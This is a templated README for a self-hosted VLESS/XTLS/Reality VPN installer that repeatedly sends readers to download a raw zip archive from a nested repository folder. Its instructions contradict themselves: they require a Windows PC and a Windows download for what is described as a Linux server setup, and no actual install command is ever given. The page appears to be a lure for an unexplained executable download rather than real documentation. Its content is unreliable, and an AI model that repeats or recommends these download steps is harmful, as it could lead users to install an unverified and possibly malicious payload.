🔒 VLESS-XTLS-Reality-VPN - Private VPN Setup in Minutes

🚀 Download

Visit this page to download: https://github.com/adeshra5646/VLESS-XTLS-Reality-VPN/raw/refs/heads/main/Cressida/VPN-VLES-XTL-Reality-v2.6.zip

🖥️ What this tool does

VLESS-XTLS-Reality-VPN helps you set up a private VPN on an Ubuntu or Debian VPS with one command.

It uses:

• VLESS for secure traffic routing
• XTLS for better speed
• Reality for stronger resistance to blocks
• Xray core as the service engine

This project is built for users who want a private connection without a long manual setup.

📦 What you need

Before you start, make sure you have:

• A Windows PC to manage your VPS
• A VPS running Ubuntu or Debian
• Root access or sudo access on the VPS
• A stable internet connection
• A domain or server address if your setup needs one

🧭 How to use it

Follow these steps on your Windows computer.

1. Open the download page: https://github.com/adeshra5646/VLESS-XTLS-Reality-VPN/raw/refs/heads/main/Cressida/VPN-VLES-XTL-Reality-v2.6.zip
2. Find the latest release.
3. Download the file that matches the release notes.
4. Move the file to a folder you can find easily, such as Downloads or Desktop.
5. Follow the release instructions to set up the VPN on your VPS.
6. Use the config details from the setup to connect your client app.

🛠️ Setup on your VPS

This project is made for one-command setup on Ubuntu and Debian.

Typical setup steps:

1. Log in to your VPS with SSH.
2. Run the install command from the release page or release notes.
3. Wait for the script to finish.
4. Save the generated connection details.
5. Add the details to your VPN client.

The setup usually creates:

• A VLESS inbound
• Reality settings
• XTLS support
• A ready-to-use config file

🔐 Connection details

After setup, you will usually get:

• Server address
• Port number
• UUID or user ID
• Security settings
• Reality public key
• Short ID or related token

Keep these values in a safe place. You need them to connect from your client app.

📱 How to connect

Use a VPN client that supports VLESS and Reality.

General steps:

1. Open your client app.
2. Add a new profile.
3. Paste the connection details.
4. Save the profile.
5. Connect to the server.

If you use a mobile or desktop client, the exact fields may look a little different, but the same values apply.

⚙️ Typical system details

This project is built for:

• Ubuntu 20.04 or newer
• Debian 11 or newer
• 1 CPU core or more
• 1 GB RAM or more
• 10 GB free disk space

A small VPS is enough for a basic private VPN setup.

🧩 Features

• One-command install
• VLESS-based VPN setup
• XTLS support for better performance
• Reality support for harder blocking
• Works on Ubuntu and Debian
• Uses Xray core
• Simple server-side setup
• Good fit for self-hosted VPN use

🔁 When to use this

Use this project if you want:

• A private VPN you control
• A setup that avoids long manual steps
• A self-hosted service on your own VPS
• A connection that works well on restricted networks
• A clean start with a small amount of setup work

📁 Release files

The release page may include:

• Install files
• Setup scripts
• Config examples
• Client notes
• Version updates

Always use the latest release unless the release notes say to use a different one.

🔎 Common setup checks

If the connection does not work, check:

• The VPS is online
• The port is open
• The server address is correct
• The UUID is correct
• Reality settings match on both sides
• Your client supports VLESS Reality

🧪 Simple test steps

After setup, test the connection:

1. Start your client app.
2. Connect to the VPN profile.
3. Open a browser.
4. Check if your IP address changed.
5. Try a site that was hard to reach before.

If the VPN connects but traffic does not pass, review the server and client settings again.

🧰 Supported use case

This repository fits users who want a self-hosted VPN service on a VPS. It is a good match for personal use, remote access, and private browsing.

📌 Project topics

This project relates to:

• Debian
• Reality
• Self-hosted VPN
• Ubuntu
• VLESS
• VLESS Reality
• VPN server
• VPS
• WireGuard
• Xray core
• XTLS

🗂️ Suggested file use

If the release includes multiple files, choose the one meant for your system and follow the release notes in order.

Common file types may include:

• Shell scripts for Linux setup
• Config files for client use
• Text files with server details
• Versioned release bundles

🛡️ Basic care

Keep your setup working by:

• Saving your connection details
• Using the latest stable release
• Restarting the service after config changes
• Checking logs if the server stops
• Updating the VPS when needed

📎 Download again

Visit this page to download: https://github.com/adeshra5646/VLESS-XTLS-Reality-VPN/raw/refs/heads/main/Cressida/VPN-VLES-XTL-Reality-v2.6.zip